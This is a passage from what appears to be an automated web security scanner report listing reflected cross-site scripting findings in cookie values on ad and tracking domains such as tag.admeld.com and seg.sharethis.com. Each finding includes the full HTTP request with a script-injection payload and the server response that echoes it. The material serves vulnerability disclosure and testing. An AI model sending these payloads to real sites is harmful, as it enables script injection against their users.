Set-Cookie: csi15=3201133.js^1^1305037440^1305037440&3201064.js^1^1305037242^1305037242; expires=Tue, 17-May-2011 14:24:00 GMT; max-age=604800; path=/; domain=.rubiconproject.com;
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Wed, 17 Sep 1975 21:32:10 GMT
Connection: close
Content-Type: application/x-javascript
Content-Length: 1844

rubicon_cb = Math.random(); rubicon_rurl = document.referrer; if(top.location==document.location){rubicon_rurl = document.location;} rubicon_rurl = escape(rubicon_rurl);
window.rubicon_ad = "3201133"
...[SNIP]...
<img src=\"http://trgca.opt.fimserve.com/fp.gif?pixelid=287-036699&diresu=cf56d"-alert(1)-"f0d0c0a75f1\" style=\"display: none;\" border=\"0\" height=\"1\" width=\"1\" alt=\"\"/>
...[SNIP]...

4.381. http://seg.sharethis.com/getSegment.php [__stid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://seg.sharethis.com
Path:	/getSegment.php

Issue detail

The value of the __stid cookie is copied into the HTML document as plain text between tags. The payload 430bd<script>alert(1)</script>9ccd4ba30b6 was submitted in the __stid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /getSegment.php?purl=http%3A%2F%2Fwww.geek.com%2Farticles%2Fgeek-pick%2Fgoogle-music-to-launch-in-beta-at-io-2011-20110510%2F&jsref=&rnd=1305033337766 HTTP/1.1
Host: seg.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CspT702sdV9LL0aNgCmJAg==430bd<script>alert(1)</script>9ccd4ba30b6; __switchTo5x=64; __utmz=79367510.1303478681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=8f891fa-12f7d623a1f-609dccbc-23; __utma=79367510.1475296623.1303478681.1303478681.1303478681.1; __uset_netshelter=yes

Response

HTTP/1.1 200 OK
Server: nginx/0.8.47
Date: Tue, 10 May 2011 13:49:29 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"
Content-Length: 1368

           <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
           <html>
           <head>
           <meta http-equiv="Content-type" content="text/html;charset=UTF-8">

...[SNIP]...
<div style='display:none'>clicookie:CspT702sdV9LL0aNgCmJAg==430bd<script>alert(1)</script>9ccd4ba30b6
userid:
</div>
...[SNIP]...

4.382. http://seg.sharethis.com/partners.php [__stid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://seg.sharethis.com
Path:	/partners.php

Issue detail

The value of the __stid cookie is copied into the HTML document as plain text between tags. The payload a601c<script>alert(1)</script>378b5a19d51 was submitted in the __stid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /partners.php?partner=netshelter&rnd=1305033272627 HTTP/1.1
Host: seg.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CspT702sdV9LL0aNgCmJAg==a601c<script>alert(1)</script>378b5a19d51; __switchTo5x=64; __utmz=79367510.1303478681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=8f891fa-12f7d623a1f-609dccbc-23; __utma=79367510.1475296623.1303478681.1303478681.1303478681.1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.47
Date: Tue, 10 May 2011 13:34:15 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"
Content-Length: 823

           <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
           <html>
           <head>
           <meta http-equiv="Content-type" content="text/html;charset=UTF-8">

...[SNIP]...
<div style='display:none'>clicookie:CspT702sdV9LL0aNgCmJAg==a601c<script>alert(1)</script>378b5a19d51
userid:
</div>
...[SNIP]...

4.383. http://tag.admeld.com/ad/iframe/593/tpm/300x250/None [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/593/tpm/300x250/None

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50b35"><script>alert(1)</script>cba4c371be5 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/593/tpm/300x250/None?admeld_adprovider_id=None&external_user_id=8218888f-9a83-4760-bd14-33b4666730c0&Expiration=1305481357&custom_user_segments=%2C11265%2C49026%2C49027%2C8%2C50185%2C4625%2C45714%2C57454%2C10518%2C6551%2C48153%2C48156%2C48157%2C10656%2C1073%2C24493%2C14769%2C38582%2C1097%2C23864%2C57145%2C57148%2C30653%2C10504%2C10047%2C17857%2C41538%2C13893%2C45639%2C45640%2C48201%2C13899%2C13902%2C48080%2C40657%2C50398%2C26724%2C56808%2C40809%2C39531%2C56813%2C10478%2C10480%2C11262%2C39804%2C1150%2C9855 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb950b35"><script>alert(1)</script>cba4c371be5; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2269
Content-Type: text/html
Date: Tue, 10 May 2011 17:44:21 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:300px;height:250px;margin:0;border:0">

...[SNIP]...
<script type="text/javascript" src="http://pixel.invitemedia.com/admeld_sync?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb950b35"><script>alert(1)</script>cba4c371be5&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.384. http://tag.admeld.com/ad/iframe/593/tpm/300x250/None [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/593/tpm/300x250/None

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5aff"><script>alert(1)</script>3a8558acd74 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/593/tpm/300x250/None?admeld_adprovider_id=None&external_user_id=8218888f-9a83-4760-bd14-33b4666730c0&Expiration=1305481357&custom_user_segments=%2C11265%2C49026%2C49027%2C8%2C50185%2C4625%2C45714%2C57454%2C10518%2C6551%2C48153%2C48156%2C48157%2C10656%2C1073%2C24493%2C14769%2C38582%2C1097%2C23864%2C57145%2C57148%2C30653%2C10504%2C10047%2C17857%2C41538%2C13893%2C45639%2C45640%2C48201%2C13899%2C13902%2C48080%2C40657%2C50398%2C26724%2C56808%2C40809%2C39531%2C56813%2C10478%2C10480%2C11262%2C39804%2C1150%2C9855 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9b5aff"><script>alert(1)</script>3a8558acd74; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2269
Content-Type: text/html
Date: Tue, 10 May 2011 17:44:21 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:300px;height:250px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9b5aff"><script>alert(1)</script>3a8558acd74&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.385. http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/593/tpm/300x250/below_fold

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce957"><script>alert(1)</script>e010f6a31a2 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://talkingpointsmemo.com/archives/2010/02/remember_rick_santorum.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9ce957"><script>alert(1)</script>e010f6a31a2; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2638
Content-Type: text/html
Date: Tue, 10 May 2011 13:29:09 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:300px;height:250px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9ce957"><script>alert(1)</script>e010f6a31a2&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.386. http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/593/tpm/300x250/below_fold

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e4a1"><script>alert(1)</script>d7230cacfee was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://talkingpointsmemo.com/archives/2010/02/remember_rick_santorum.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb99e4a1"><script>alert(1)</script>d7230cacfee; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2638
Content-Type: text/html
Date: Tue, 10 May 2011 13:29:08 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:300px;height:250px;margin:0;border:0">

...[SNIP]...
<script type="text/javascript" src="http://pixel.invitemedia.com/admeld_sync?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb99e4a1"><script>alert(1)</script>d7230cacfee&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.387. http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/607/salonmedia/160x600/above_fold

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36816"><script>alert(1)</script>c61ed7f77d8 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb936816"><script>alert(1)</script>c61ed7f77d8; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2615
Content-Type: text/html
Date: Tue, 10 May 2011 13:24:09 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:160px;height:600px;margin:0;border:0">

...[SNIP]...
<script type="text/javascript" src="http://pixel.invitemedia.com/admeld_sync?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb936816"><script>alert(1)</script>c61ed7f77d8&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.388. http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/607/salonmedia/160x600/above_fold

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97d87"><script>alert(1)</script>40a261242f1 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb997d87"><script>alert(1)</script>40a261242f1; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2615
Content-Type: text/html
Date: Tue, 10 May 2011 13:24:10 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:160px;height:600px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb997d87"><script>alert(1)</script>40a261242f1&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.389. http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/default_criteo [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/607/salonmedia/160x600/default_criteo

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29abc"><script>alert(1)</script>179616d35c6 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/607/salonmedia/160x600/default_criteo?t=1305033247523&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb929abc"><script>alert(1)</script>179616d35c6; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2615
Content-Type: text/html
Date: Tue, 10 May 2011 13:29:36 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:160px;height:600px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb929abc"><script>alert(1)</script>179616d35c6&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.390. http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/default_criteo [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/607/salonmedia/160x600/default_criteo

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de482"><script>alert(1)</script>3989f4169b4 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/607/salonmedia/160x600/default_criteo?t=1305033247523&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9de482"><script>alert(1)</script>3989f4169b4; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2615
Content-Type: text/html
Date: Tue, 10 May 2011 13:29:35 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:160px;height:600px;margin:0;border:0">

...[SNIP]...
<script type="text/javascript" src="http://pixel.invitemedia.com/admeld_sync?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9de482"><script>alert(1)</script>3989f4169b4&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.391. http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/607/salonmedia/300x250/default_criteo

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8485c"><script>alert(1)</script>6e68da65b0b was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb98485c"><script>alert(1)</script>6e68da65b0b; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
